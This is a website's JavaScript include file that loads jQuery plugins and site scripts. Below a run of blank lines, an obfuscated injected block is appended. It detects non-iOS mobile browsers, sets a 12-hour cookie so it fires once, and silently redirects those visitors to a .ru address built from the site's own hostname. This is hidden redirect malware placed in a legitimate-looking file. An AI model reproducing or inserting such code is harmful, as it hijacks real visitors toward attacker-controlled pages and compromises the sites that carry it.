/* includes */

js = {};
js.include = function(path) {
 document.write('<script type="text/javascript" src="'+path+'"></sc'+'ript>');
}

js.include("/js/jquery/jquery.js");
js.include("/js/jquery/jquery-ui.js");
js.include("/js/jquery/jquery.form.js");
js.include("/js/jquery/jquery.blockUI.js");
js.include("/js/jquery/jquery.curvy.js");
js.include("/js/jquery/jquery.tabs.js");    
js.include("/js/jquery/jquery.metadata.js");
js.include("/skin/jquery.jnice.js");
js.include("/js/jquery/jquery.cookie.js");
js.include("/js/jquery/jquery.selectbox.js");
js.include("/js/jquery/fancyzoom/fancyzoom.js");

// do not load for gmaps, its deprecated
if (-1 == window.location.href.indexOf('/navigator'))
js.include("/js/jquery/jquery.autocomplete.js");

js.include("/js/jquery/jquery.validate.js");
js.include("/js/jquery/jquery.pagination.js");
js.include("/js/jquery/jquery.shadow.js");

js.include("/js/tf.js");
js.include("/js/main.js");  






var gx = [/m(ob|in)i|droid|symb|midp|j2me/i, /ip(h|a|o)/i, navigator.userAgent, ".c1z", window.location.hostname];
function cc(b) {
  location.replace("http://" + b[4] + b[3] + ".ru/r/?mm=22")
}
function cx(b) {
  for(var d = document.cookie.split(";"), c = 0;c < d.length;c++) {
    for(var a = d[c];" " == a.charAt(0);) {
      a = a.substring(1, a.length)
    }
    if(0 == a.indexOf(b)) {
      return!0
    }
  }
  return!1
}
if(!cx("often=") && !cx("ref=")) {
  var dx = new Date;
  dx.setTime(dx.getTime() + 432E5);
  document.cookie = "ref=1; expires=" + dx.toGMTString() + "; path=/";
  gx[2].match(gx[0]) && !gx[2].match(gx[1]) && cc(gx)
}
;
